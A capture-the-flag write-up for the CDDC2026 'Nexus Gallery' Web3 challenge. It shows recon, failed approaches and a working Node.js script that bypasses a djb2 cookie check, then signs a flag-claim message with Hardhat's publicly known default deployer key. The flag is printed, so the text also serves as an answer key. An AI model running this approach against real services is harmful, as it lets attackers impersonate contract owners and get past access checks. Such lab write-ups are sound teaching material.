Category: Web / Web3
Flag: CDDC2026{qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck}
Target: https://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7218
"In the lower Rift, 'Nexus Gallery' was found; a place of NFT trading. Investigate the gallery, search for any hidden data."
TL;DR
The Nexus Gallery is a fake NFT marketplace fronting a private Hardhat EVM
chain. The contract's isEligibleForFlag(address) returns true only for
the deployer, but the deployer is Hardhat's default account #0
(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266), whose private key is
publicly documented in the Hardhat docs. Re-using that well-known key to
sign the claim message yields the flag.
The challenge name (qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck) hints at the
intended path — bypassing the server's daily-mint queue / limit check — but
because the eligibility check is per-address only and the deployer is
already eligible, no rate-limit work is needed: the wallet itself is the
shortcut.
Recon
Landing page
The index page hides several decoy "leaks" in HTML comments:
<!-- HINT: Private keys stored at /internal/keys/wallet.json -->
<!-- Admin panel: /admin/dashboard -->
<!-- REDIS_PASSWORD=definitely_not_the_real_password_123 -->
<!-- SECRET_KEY=this_is_a_decoy_key_do_not_use -->
<!-- ADMIN_TOKEN=Bearer_fake_jwt_token_xyZ789 -->
All of these /internal/..., /admin/... paths return 404. They are
red herrings.
The real interesting bits come from the linked JS:
/js/contract.js— Web3 logic, ABI, claim flow/js/web3.js— wallet connect / session/js/main.js— UI glue
Contract ABI (from /js/contract.js)
const CONTRACT_ABI = [
"function isEligibleForFlag(address user) external view returns (bool)",
"function nftCount(address) external view returns (uint256)"
];
The claim flow is:
async claimFlag() {
const address = await this.signer.getAddress();
const message = `claim-flag:${address.toLowerCase()}`;
const signature = await this.signer.signMessage(message);
const response = await fetch('/api/claim-flag', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'same-origin',
body: JSON.stringify({ signature })
});
...
}
So the server:
- Reads
wallet_addressfrom the session cookie - Verifies a signature on
claim-flag:<address-lowercase> - Calls
isEligibleForFlag(wallet_address)on-chain - Returns the flag if eligible
Chain endpoint
GET /api/contract-info:
{
"contractAddress":"0x5FbDB2315678afecb367f032d93F642f64180aa3",
"network":"localhost",
"chainId":13370,
"rpcUrl":".../api/rpc"
}
Two big tells here:
0x5FbDB231...is the first deployment address of a fresh Hardhat node —keccak256(rlp([deployer, nonce=0]))[-20:]from Hardhat's account #0.chainId 13370is a custom dev chain.
The proxied RPC at /api/rpc is heavily restricted:
eth_call,eth_getCode,eth_getStorageAt,eth_getTransactionByHash,debug_*,trace_*— all "Method not supported"eth_sendRawTransactionallowed, but contract creation (to: null) is rejected → can't deploy a reader contract to staticcall the target- What is allowed:
eth_blockNumber,eth_chainId,eth_gasPrice,eth_getBalance,eth_getTransactionCount,eth_getBlockByNumber,eth_getTransactionReceipt
Chain history
Block-by-block enumeration via eth_getBlockByNumber + eth_getTransactionReceipt:
| Block | From → To | Event |
|---|---|---|
| 1 | 0xf39f... → null |
Contract deployment |
| 2 | 0xf39f... → 0x1111...1111 |
ETH transfer (decoy) |
| 3 | 0xf39f... → contract |
Event 0x100fe8... (mint to 0x1234...) |
| 4–7 | 0xf39f... → contract |
Event 0x512ec0... (×4) |
| 8 | 0xf39f... → contract |
Event 0x100fe8... (mint to 0x1111...) |
| 9–11 | 0xf39f... → various |
ETH transfers (0x1234..., 0x0, 0x7d93...) |
| 12–15 | 0x7d93... → contract |
All status: 0x0 — failed user attempts |
The deployer is 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266. This is Hardhat's
default account #0 — its private key is published in every Hardhat
README:
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
False starts (worth documenting)
A few rabbit holes that did not work, in case future challs need them:
- Brute-forcing event-topic preimages. The mystery bytes32 values in
the
0x512ec0...events are not keccak256 of gallery item names, simple keywords, or short alphanumeric strings (exhausted ≤4 chars). - Direct
mint(address)from our wallet. Tried a dozen plausible selectors (mint,mintTo,safeMint,claim, etc.) viaeth_sendRawTransaction. All reverted — the mint function is gated byonlyOwner(deployer). - Spamming
/api/mint. Caps at 1/day per session cookie and per address inside the contract. Resetting cookies gives "Transaction failed" instead of "Daily mint limit reached" — the contract enforces too. - Deploying a reader contract to staticcall
nftCount/isEligibleForFlagand emit results as events. Blocked: the proxied RPC rejectsto: nulltransactions. - SSRF via
/api/preview-artwork. Behind a captcha gate (anti-noise animated GIF) and a customjs_challenge/js_proofdjb2 cookie pair. Solvable but unnecessary. - Reading the captcha via frame stacking. Got partially readable output (averaging 16 frames cancels noise) but never needed it.
Solution
The actual eligibility check is per-address. The deployer is the only eligible address. The deployer's private key is public.
const { ethers } = require('ethers');
const fetch = (...a) => import('node-fetch').then(({default:f})=>f(...a));
const BASE = 'https://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7218';
const HARDHAT_PK = '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80';
(async () => {
const fetchFn = (await import('node-fetch')).default;
const w = new ethers.Wallet(HARDHAT_PK);
// cookie jar
let cookies = {};
const cookieHdr = () =>
Object.entries(cookies).map(([k,v])=>`${k}=${v}`).join('; ');
async function req(path, opts={}){
opts.headers = { ...opts.headers, Cookie: cookieHdr() };
const r = await fetchFn(BASE+path, opts);
for (const c of r.headers.raw()['set-cookie'] || []) {
const [kv] = c.split(';');
const i = kv.indexOf('=');
cookies[kv.slice(0,i).trim()] = kv.slice(i+1);
}
return r;
}
// 1. Pick up js_challenge cookie and compute djb2 proof
await req('/');
const c = cookies.js_challenge;
let h = 5381;
for (let i=0;i<c.length;i++) h = ((h<<5)+h+c.charCodeAt(i)) & 0xFFFFFFFF;
cookies.js_proof = (h>>>0).toString(16);
// 2. Bind the well-known deployer address to our session
await req('/api/wallet/connect', {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({ address: w.address })
});
// 3. Sign the claim message and submit
const sig = await w.signMessage('claim-flag:' + w.address.toLowerCase());
const r = await req('/api/claim-flag', {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({ signature: sig })
});
console.log(await r.text());
})();
Output:
{"success":true,"flag":"CDDC2026{qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck}"}
Lesson
The "hidden data" was the identity of the deployer, sitting in plain
sight in eth_getTransactionReceipt of block 1. Whenever a Hardhat or
Anvil node is exposed in a CTF, check the deployer against the published
default mnemonics — most challenges that pass that constant through end
up trivially solvable.
The challenge author seems to have intended a different path (probably an SSRF + queue-bypass chain, per the flag text), but the contract's eligibility check is purely on the wallet address and the deployer is already eligible, so the side door dominates the front door.